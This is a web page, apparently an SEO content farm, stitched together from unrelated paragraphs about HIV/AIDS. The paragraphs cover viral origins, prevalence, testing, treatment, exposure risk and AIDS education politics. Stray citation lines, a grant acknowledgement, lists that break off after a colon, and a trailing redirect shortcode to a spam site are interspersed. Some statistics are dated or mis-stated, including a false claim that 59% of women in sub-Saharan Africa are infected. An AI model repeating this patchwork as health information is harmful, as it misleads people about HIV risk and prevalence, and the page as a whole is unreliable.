There is evidence that humans who participate in bushmeat activities, either as hunters or as bushmeat vendors, commonly acquire SIV. However, SIV is a weak virus, and it is typically suppressed by the human immune system within weeks of infection. It is thought that several transmissions of the virus from individual to individual in quick succession are necessary to allow it enough time to mutate into HIV. Furthermore, due to its relatively low person-to-person transmission rate, it can only spread throughout the population in the presence of one or more high-risk transmission channels, which are thought to have been absent in Africa prior to the 20th century.
About 70 percent of all infections occur in people living in sub-Saharan Africa, and in some countries of the region the prevalence of HIV infection of inhabitants exceeds 10 percent of the population. Rates of infection are lower in other parts of the world, but different subtypes of the virus have spread to Europe, India, South and Southeast Asia, Latin America, and the Caribbean. Rates of infection have leveled off somewhat in the United States and Europe. In the United States more than 1.2 million people are living with HIV/AIDS, and about 44 percent of all new infections are among African Americans. In Asia sharp increases in HIV infection have occurred in China and Indonesia. Access to antiretroviral treatment for AIDS remains limited in some areas of the world, although more people are receiving treatment today than in the past.
Jump up ^ Smith JA, Daniel R (2006). “Following the path of the virus: the exploitation of host DNA repair mechanisms by retroviruses”. ACS Chemical Biology. 1 (4): 217–26. doi:10.1021/cb600131q. PMID 17163676.
Evidence for supplementation with selenium is mixed with some tentative evidence of benefit. For pregnant and lactating women with HIV, multivitamin supplement improves outcomes for both mothers and children. If the pregnant or lactating mother has been advised to take anti-retroviral medication to prevent mother-to-child HIV transmission, multivitamin supplements should not replace these treatments. There is some evidence that vitamin A supplementation in children with an HIV infection reduces mortality and improves growth.
CDC recommends routine testing for HIV infection for persons aged 13–64 years in health care settings and testing at least annually for persons at high risk for HIV infection (7). Yet, according to National HIV Behavioral Surveillance (NHBS), one third of gay, bisexual, and other men who have sex with men (MSM) have not been tested in the past year, with even lower percentages of recent testing reported among other population segments at high risk for HIV infection.
You don’t actually “get” AIDS. You might get infected with HIV, and later you might develop AIDS. You can get infected with HIV from anyone who’s infected, even if they don’t look sick and even if they haven’t tested HIV-positive yet. The blood, vaginal fluid, semen, and breast milk of people infected with HIV has enough of the virus in it to infect other people. Most people get the HIV virus by:
The eradication of AIDS is based on prevention rather than cure: this means education and action. Education promotes the use of barrier contraception and advises against risk-taking behaviour – eg, multiple sexual partners or IDU. However, education can be problematic when a respected body like the Roman Catholic Church appears to dispute the risks. The Church considers that condoms are a sin against nature and that AIDS prevention would be better focused on reducing illicit sex and promoting monogamy. However, there has for some time been a move within the church to differentiate between the use of condoms for contraception and their use for AIDS prevention. There are signs that Pope Francis may introduce a less inflexible approach and is at the time of publication planning a Synod to consider this and other controversial issues.
In addition, 1 in 3 people living with HIV present to care with advanced disease, at low CD4 counts and at high risk of serious illness and death. To reduce this risk, WHO recommends that these patients receive a “package of care” that includes testing for and prevention of the most common serious infections that can cause death, such as tuberculosis and cryptococcal meningitis, in addition to ART.
If an exposure occurs, the exposed person can reduce the risk of getting HIV by taking antiretroviral medications. Current recommendations suggest two or more antiretroviral medications, depending on the risk of transmission and type of exposure. Medications should be started as soon as possible, preferably within hours of exposure and should be continued for four weeks, if tolerated. People who have been exposed should be tested for HIV at the time of the injury and again at six weeks, 12 weeks, and six months after exposure.
^ Jump up to: a b c Zheng YH, Lovsin N, Peterlin BM (2005). “Newly identified host factors modulate HIV replication”. Immunology Letters. 97 (2): 225–34. doi:10.1016/j.imlet.2004.11.026. PMID 15752562.
Schools play a major role in the effort to educate the public on AIDS. Several states have mandated AIDS prevention instruction in their schools. But the subject is controversial: it evokes personal, political, and moral reactions to sexuality. Responding to parental sensitivities, some states have authorized excused absences from such programs. The New York State Education Department faced a storm of controversy over its policy of not allowing absences at parental discretion. Furthermore, at the local and the federal levels, some conservatives have opposed certain kinds of AIDS education. During the 1980s, those who often criticized liberal approaches to sex education argued that AIDS materials should not be explicit, encourage sexuality, promote the use of contraceptives, or favorably portray gays and lesbians. In Congress, lawmakers attached amendments to appropriations measures (bills that authorize the spending of federal tax dollars) that mandate that no federal funds may be used to “promote homosexuality.” In response, the CDC adopted regulations that prohibit spending federal funds on AIDS education materials that might be found offensive by some members of certain communities. Despite the controversy, some communities have taken radical steps to halt the spread of AIDS. In 1991 and 1992, the school boards of New York City, San Francisco, Seattle, and Los Angeles voted to make condoms available to students in their public high school systems.
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The prevalence of women with HIV in the United States is low compared to the rate in many countries in the developing world. Worldwide about half the people living with HIV are women. According to the United Nations, in 2005 about 59% of women living in sub-Saharan Africa are infected with HIV. The vast majority of them were infected through sex with an infected male partner.
HIV disease becomes AIDS when your immune system is seriously damaged. If you have less than 200 CD4 cells or if your CD4 percentage is less than 14%, you have AIDS. See Fact Sheet 124 for more information on CD4 cells. If you get an opportunistic infection, you have AIDS. There is an “official” list of these opportunistic infections put out by the Centers for Disease Control (CDC). The most common ones are:
Supported by the National Special Science & Technology Program on Major Infectious Diseases (No. 2012ZX10005010-001, No.2013ZX10005001-001); and Henan Province Basic and Advanced Technology Research Project (No.152300410165), and Henan Province Colleges and Universities Key Youth Teachers Scheme (No. 2013GGJS-095)
AIDS is the leading causes of death in children under age five many parts of Africa and Southeast Asia. The interval between exposure to HIV and the development of AIDS is shorter in children than in adults. Infants infected with HIV have a high chance of developing AIDS within one year and dying before age three. In the remainder, AIDS progresses more slowly; average child patient survives to about seven years of age. Some survive into early adolescence.
The ability of HIV to mutate and rapidly evolve to escape immune detection by the most-prevalent HLA molecules is similar to the rapid adaptation and mutation of other infectious viruses, such as influenza. There is some evidence, however, that within populations the adaptation of HIV to protective HLA variants may reduce its replicative capacity. In Botswana, for instance, where HIV has adapted to overcome the protective effects of the HLA-B*57 variant, seroprevalence (the frequency of HIV infection) is increased but viral replication capacity is reduced. Researchers have speculated that declines in HIV replication capacity and virulence may be attributed to not only rapid adaptation to protective variants but also increasing use of antiretroviral treatments.
Jump up ^ Bell C, Devarajan S, Gersbach H (2003). “The long-run economic costs of AIDS: theory and an application to South Africa” (PDF). World Bank Policy Research Working Paper No. 3152. Archived from the original on June 5, 2013. Retrieved April 28, 2008.
There are six additional known HIV-2 groups, each having been found in just one person. They all seem to derive from independent transmissions from sooty mangabeys to humans. Groups C and D have been found in two people from Liberia, groups E and F have been discovered in two people from Sierra Leone, and groups G and H have been detected in two people from the Ivory Coast. Each of these HIV-2 strains, for which humans are probably dead-end hosts, is most closely related to SIVsmm strains from sooty mangabeys living in the same country where the human infection was found.
Plasma HIV RNA level (viral load) reflects HIV replication rates. The higher the set point (the relatively stable virus levels that occur after primary infection), the more quickly the CD4 count decreases and the greater the risk of opportunistic infection, even in patients without symptoms.
CDC HIV surveillance statistics from 2015 report that 22.3% (8807 individuals) of new HIV infections in the United States are in adolescents and young adults aged 13 to 24 years. Males accounted for 82.8% of new HIV infections in youth. Of these, 7000 (57.4%) were in African Americans, 2390 (19.6%) in Hispanics, and 2380 (19.5%) in whites. Male-to-male sexual contact accounted for 72.1% (8800 individuals). The percentage of youths tested for HIV infection was 12.9% in high- school students and 34.5% in individuals aged 18-24 years. Testing was lower in males than females. More than half (59.5%) of youths with HIV are unaware of their infection. 
The average risk of HIV infection after a needle-stick injury is around 0.3% and after mucous-membrane exposure to blood is approximately 0.09%. For abraded skin exposure, the risk is estimated to be less than mucous membrane exposure. There also are some factors that may affect the risk for HIV transmission such as the amount of blood from the infected source. Deep injury from a needle, visible blood in/on the needle, or a needle that was being placed in an artery or vein are examples of higher-risk situations. The risk of transmission also depends on the number of virus particles in the blood, with higher viral loads leading to an increased risk of transmission.
Many viruses cause an acute but limited infection inducing lasting protective immunity. Others, such as herpes viruses, set up a latent infection that is not eliminated but is controlled adequately by an adaptive immune response. However, infection with HIV seems rarely, if ever, to lead to an immune response that can prevent ongoing replication of the virus. Although the initial acute infection does seem to be controlled by the immune system, HIV continues to replicate and infect new cells.
Regular blood tests are needed to make sure the virus level in the blood (viral load) is kept low, or suppressed. The goal of treatment is to lower the HIV virus in the blood to a level that is so low that the test can’t detect it. This is called an undetectable viral load.
Jump up ^ Jolly C, Kashefi K, Hollinshead M, Sattentau QJ (2004). “HIV-1 cell to cell transfer across an Env-induced, actin-dependent synapse”. Journal of Experimental Medicine. 199 (2): 283–293. doi:10.1084/jem.20030648. PMC 2211771 . PMID 14734528.
An Q, Song R, Finlayson TJ, Wejnert C, Paz-Bailey G; NHBS Study Group. Estimated HIV inter-test interval among people at high risk for HIV infection in the U.S. Am J Prev Med 2017;53:355–62. CrossRef PubMed
The virion of human immunodeficiency virus (HIV). The virus illustrated is HIV-1, the leading cause of AIDS. The reverse transcriptase, integrase, and viral protease enzymes are packaged in the virion and are shown schematically in the viral capsid. In (more…)
Aberg JA, Gallant JE, Ghanem KG, Emmanuel P, Zingman BS, Horberg MA. Primary Care Guidelines for the Management of Persons Infected With HIV: 2013 Update by the HIV Medicine Association of the Infectious Diseases Society of America. Clin Infect Dis. 2013 Nov 13. [Medline].
According to the Centers for Disease Control and Prevention (CDC), from 2010-2015, the estimated rate of HIV infection diagnoses in all 50 US states decreased from 14.2 per 100,000 population in 2010 to 12.3 per 100,000 population in 2015.  In 2015, 39,513 individuals were diagnosed with HIV infection. From 2010 to 2014, the annual number of new HIV infection diagnoses decreased 9%.
Jump up ^ Compared with overview in: Fisher, Bruce; Harvey, Richard P.; Champe, Pamela C. (2007). Lippincott’s Illustrated Reviews: Microbiology. Lippincott’s Illustrated Reviews. Hagerstown, MD: Lippincott Williams & Wilkins. p. 3. ISBN 0-7817-8215-5.
Hecht FM, Wang L, Collier A, et al. A multicenter observational study of the potential benefits of initiating combination antiretroviral therapy during acute HIV infection. J Infect Dis. 2006 Sep 15. 194(6):725-33. [Medline].
WHO recommends lifelong ART for all people living with HIV, regardless of their CD4 count clinical stage of disease, and this includes women who pregnant or breastfeeding. In 2016, 76% of the estimated 1.4 million pregnant women living with HIV globally received ARV treatments to prevent transmission to their children. A growing number of countries are achieving very low rates of MTCT and some (Armenia, Belarus, Cuba and Thailand) have been formally validated for elimination of MTCT of HIV as a public health problem. Several countries with a high burden of HIV infection are also progressing along the path to elimination.
If the CD4 count falls below about 200 cells per microliter of blood, the immune system becomes less able to fight certain infections (such as Pneumocystis jirovecii pneumonia). Most of these infections are rare in healthy people. However, they are common among people with a weakened immune system. Such infections are called opportunistic infections because they take advantage of a weakened immune system. [redirect url=’http://penetratearticles.info/bump’ sec=’7′]